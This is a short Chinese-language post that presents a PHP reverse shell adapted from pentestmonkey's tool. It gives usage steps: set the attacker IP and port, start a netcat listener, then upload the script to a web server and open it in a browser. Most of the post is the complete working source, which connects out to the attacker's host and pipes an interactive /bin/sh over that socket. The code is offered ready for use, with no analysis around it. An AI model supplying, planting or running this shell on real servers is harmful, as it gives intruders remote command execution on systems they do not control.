reverse php,php-reverse-shell

功能：

返回一个交互式的shell

使用：

先修改脚本中的两个变量 $ip 和 $port 为自己所需的。然后本地监听 $port 。例如：

$ip = '192.168.1.111'; // CHANGE THIS

$port = 13123; // CHANGE THIS

nc -v -l -p 13123

然后上传并在浏览器中打开该PHP脚本文件。

效果图：

源代码(在原文的基础进行了修改)：

set_time_limit (0);

$ip = "192.168.1.111";

$port = "13123";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock)

exit("$errstr ($errno)");

if(function_exists('proc_open')){

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "w")

);

$process = proc_open("id;/bin/sh -i", $descriptorspec, $pipes);

if (!is_resource($process))

exit("ERROR: Can't reverse shell");

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

print("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {

print("ERROR: Shell connection terminated");

break;

}

if (feof($pipes[1])) {

print("ERROR: Shell process terminated");

break;

}

$input = fread($sock, 1024);

fwrite($pipes[0], $input);

$output = fread($pipes[1], 1024);

fwrite($sock, $output);

$output = fread($pipes[2], 1024);

fwrite($sock, $output);

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

}

else print "function 'proc_open' is not exists.";

?> 原文：http://pentestmonkey.net/tools/web-shells/php-reverse-shell